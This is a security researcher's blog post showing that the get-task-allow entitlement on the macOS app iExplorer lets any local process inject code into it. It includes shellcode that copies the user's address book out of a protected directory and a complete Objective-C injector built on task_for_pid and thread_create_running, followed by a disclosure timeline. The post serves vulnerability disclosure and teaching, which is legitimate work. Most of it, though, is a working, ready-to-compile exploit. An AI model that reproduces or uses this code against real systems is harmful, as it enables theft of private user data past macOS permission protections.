Hey Hackers! 👋🏻

In this blog post, I want to show you why signing applications with get-task-allow entitlement may be dangerous and can lead to local privilege escalation bugs. We are going to exploit a real application, iExplorer, iOS application pentesters widely use that. Make a notice that iExplorer is only an example - a lot of apps have that excessive entitlement set.

Entitlements?

Since Mac OS X 10.11 El Capitan, Apple decided to add a new feature called System Integrity Protection (aka Rootless). The idea behind it is to limit the root account’s ability to do anything in the user’s operating system. It’s an excellent idea - implementing an access control mechanism to each sensitive resource is reducing the attack surface. If every binary that wants to do privileged action was run as an unlimited root, its takeover would lead to compromise of the whole system.

So, what are entitlements? From an application’s perspective, the entitlements are just simple strings that are added to their MachO binary’s code signature section. Whenever a non-root binary is trying to do a sensitive action, SIP checks if it has a proper entitlement to do that.

Digression:

You cannot sign your applications with some restricted entitlements. I encourage you to dig deeper and check how it is restricted. 😉

Let’s take a look at the problem with caching thumbnails that was fixed (i. a.) by restricting access to its cache. Now binaries that need to access thumbnails are signed with com.apple.rootless.storage.QLThumbnailCache entitlement. If not entitled application tries to access $TMPDIR/../C/com.apple.QuickLook.thumbnailcache/, macOS says permission denied.

Get-Task-Allow entitlement

The topic of this blog post is the com.apple.security.get-task-allow entitlement. On macOS when process A wants to control process B, A asks the kernel for the B’s task using task_for_pid() function. Then, the kernel asks taskgated if the B’s task_port should be transferred to A. The taskgated usually accepts the requests if:

So, summing it up - if process B is signed with the problematic entitlement, every not sandboxed user process may take over it!

Exploiting iExplorer

Let’s see how iExplorer was signed. To do that, we can both use the standard codesign tool or if you prefer GUI versions, take a look at What’s Your Sign?.

Sztajger:~ wojciechregula$ codesign -d --entitlements :- /Applications/iExplorer.app/Contents/MacOS/iExplorer
Executable=/Applications/iExplorer.app/Contents/MacOS/iExplorer
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.get-task-allow</key>
    <true/>
    <key>com.apple.security.temporary-exception.files.absolute-path.read-only</key>
    <string>/</string>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.testmanagerd</string>
        <string>com.apple.coresymbolicationd</string>
    </array>
</dict>
</plist>

Gotcha! iExplorer is a tool used to manage your iDevices. For example, you can investigate what is stored in your iPhone’s backup. As you probably guessed, access to the backups is a sensitive operation. It needs a special entitlement (another type of above mentioned, so I won’t discuss it in this post). iExplorer asks for that entitlement during the first run.

iExplorer asks for full disk access

After the user gives it the full disk access permission, it can read the sensitive backups, mails, messages, Safari’s files, etc.

Our goal is to take over iExplorer’s process and steal a restricted directory - user’s address book. The exploitation here is hard. After we take over the vulnerable process, we need to use low level mach_vm_* functions to instrument the process. It also requires to craft a proper shellcode…

Crafting the shellcode

I modified modexp’s shellcode available here. Thanks for sharing it! It now uses cp to copy the address book (from the restricted directory) to my desktop (totally not restricted directory on macOS 10.14).

bits    64

    *push*    59
    *pop*     *rax*         ; eax = sys_execve
    *cdq*                 ; edx = 0
    *bts*     *eax*, 25     ; eax = 0x0200003B
    *mov*     *rbx*, '/bin//sh'
    *push*    *rdx*         ; 0
    *push*    *rbx*         ; "/bin//sh"
    *push*    *rsp*
    *pop*     *rdi*         ; rdi="/bin//sh", 0
    *push*    *rdx*         ; 0
    *push*    word '-c'
    *push*    *rsp*
    *pop*     *rbx*         ; rbx="-c", 0
    *push*    *rdx*         ; argv[3]=NULL
    *jmp*     l_cmd64
r_cmd64:                ; argv[2]=cmd
    *push*    *rbx*         ; argv[1]="-c"
    *push*    *rdi*         ; argv[0]="/bin//sh"
    *push*    *rsp*
    *pop*     *rsi*         ; rsi=argv
    *syscall*
l_cmd64:
    *call*    r_cmd64
    db 'cp -r ~/Library/Application\ Support/AddressBook/ ~/Desktop/AddressBook/', 0

Then use nasm to assemble it.

nasm -f macho64 bash.asm

Okay, we need only the contents of the TEXT section from it. Copy the bytes from otool’s output.

Sztajger:shellcode wojciechregula$ otool -t bash.o
bash.o:
Contents of (__TEXT,__text) section
0000000000000000    6a 3b 58 99 0f ba e8 19 48 bb 2f 62 69 6e 2f 2f
0000000000000010    73 68 52 53 54 5f 52 66 68 2d 63 54 5b 52 eb 06
0000000000000020    53 57 54 5e 0f 05 e8 f5 ff ff ff 63 70 20 2d 72
0000000000000030    20 7e 2f 4c 69 62 72 61 72 79 2f 41 70 70 6c 69
0000000000000040    63 61 74 69 6f 6e 5c 20 53 75 70 70 6f 72 74 2f
0000000000000050    41 64 64 72 65 73 73 42 6f 6f 6b 2f 20 7e 2f 44
0000000000000060    65 73 6b 74 6f 70 2f 41 64 64 72 65 73 73 42 6f
0000000000000070    6f 6b 2f 00

Writing the final exploit

To write the final exploit, I based on Jonathan Levin’s inject.c code. Kudos!!! 😉

The detailed exploitation steps are:

  1. Check if iExplorer is running and get its PID.
  2. Get the iExplorer’s task port.
  3. Allocate memory for a stack and code that is going to be injected.
  4. Write the shellcode to that memory.
  5. Set the instruction pointer to the beginning of the injected code.
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>

#define STACK_SIZE 65536
#define CODE_SIZE 128

extern kern_return_t mach_vm_allocate(task_t task, mach_vm_address_t *addr, mach_vm_size_t size, int flags);
extern kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);
extern kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);

char injectedCode[] = "\x90\x90\x90\x90\x90\x90"
"\x6a\x3b\x58\x99\x0f\xba\xe8\x19\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x66\x68\x2d\x63\x54\x5b\x52\xeb\x06\x53\x57\x54\x5e\x0f\x05\xe8\xf5\xff\xff\xff\x63\x70\x20\x2d\x72\x20\x7e\x2f\x4c\x69\x62\x72\x61\x72\x79\x2f\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x5c\x20\x53\x75\x70\x70\x6f\x72\x74\x2f\x41\x64\x64\x72\x65\x73\x73\x42\x6f\x6f\x6b\x2f\x20\x7e\x2f\x44\x65\x73\x6b\x74\x6f\x70\x2f\x41\x64\x64\x72\x65\x73\x73\x42\x6f\x6f\x6b\x2f\x00";

pid_t getiExplorerPID() {
    
    NSString *iExplorerBundleID = @"com.macroplant.iExplorer";
    NSArray<NSRunningApplication *> *runningiExplorers = [NSRunningApplication runningApplicationsWithBundleIdentifier:iExplorerBundleID];
    
    if (runningiExplorers == nil || [runningiExplorers count] == 0) {
        printf("[!] Exploit failed! There is not any iExplorer running\n");
        exit(-1);
    }
    
    NSRunningApplication *iExplorer = runningiExplorers[0];
    pid_t iExplorerPID = [iExplorer processIdentifier];
    
    printf("[+] iExplorer is running with PID: %d\n", iExplorerPID);
    return iExplorerPID;
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        printf("=== Starting iExplorer exploit ===\n");
        pid_t iExplorerPID = getiExplorerPID();
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(current_task(), iExplorerPID, &remoteTask);
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to get iExplorer's task: %s\n", mach_error_string(kr));
            exit(-2);
        } else {
            printf("[+] iExplorer's task successfully taken over\n");
        }
        
        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
        
        kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to allocate stack memory in iExplorer's thread: %s\n", mach_error_string(kr));
            exit(-3);
        } else {
            printf("[+] Allocated remote stack: 0x%llx\n", remoteStack64);
        }
        
        kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to allocate code memory in iExplorer's thread: %s\n", mach_error_string(kr));
            exit(-3);
        } else {
            printf("[+] Allocated remote code placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) injectedCode, 0x7A);
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to write into remote thread memory: %s\n", mach_error_string(kr));
            exit(-4);
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected memory proper permissions: %s\n", mach_error_string(kr));
            exit(-5);
        }

        x86_thread_state64_t remoteThreadState64;
        thread_act_t remoteThread;
        memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
        remoteStack64 += (STACK_SIZE / 2);
        const char* p = (const char*) remoteCode64;

        remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;
        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;

        printf ("[+] Remote stack is @0x%llx,  Remote code is @%p\n", remoteStack64, p );

        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
                                   (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Exploit failed: error %s\n", mach_error_string (kr));
            return (-3);
        }
        
        printf("[+] Exploit succeeded! Check ~/Desktop/AddressBook for your contacts :-)\n");
        
        return (0);
        
    }
    return 0;
}

Compile that and run. As a result, the address book should be now copied to your desktop!

Summary

In this blog post, I showed you that signing applications with get-task-allow entitlement is not a good idea. Apple is aware of that excessive entitlement and will force the App Notarization in the future versions of macOS Mojave and the upcoming macOS Catalina. If a developer wants its app to be accepted and notarized, it needs to meet some requirements. One of those is removing discussed entitlement. You can read more about that here.

Status

20th June 2019 - Issue sent to Macroplant on email & Twitter

30th June 2019 - Issue sent to Macroplant again

8th August 2019 - Still no response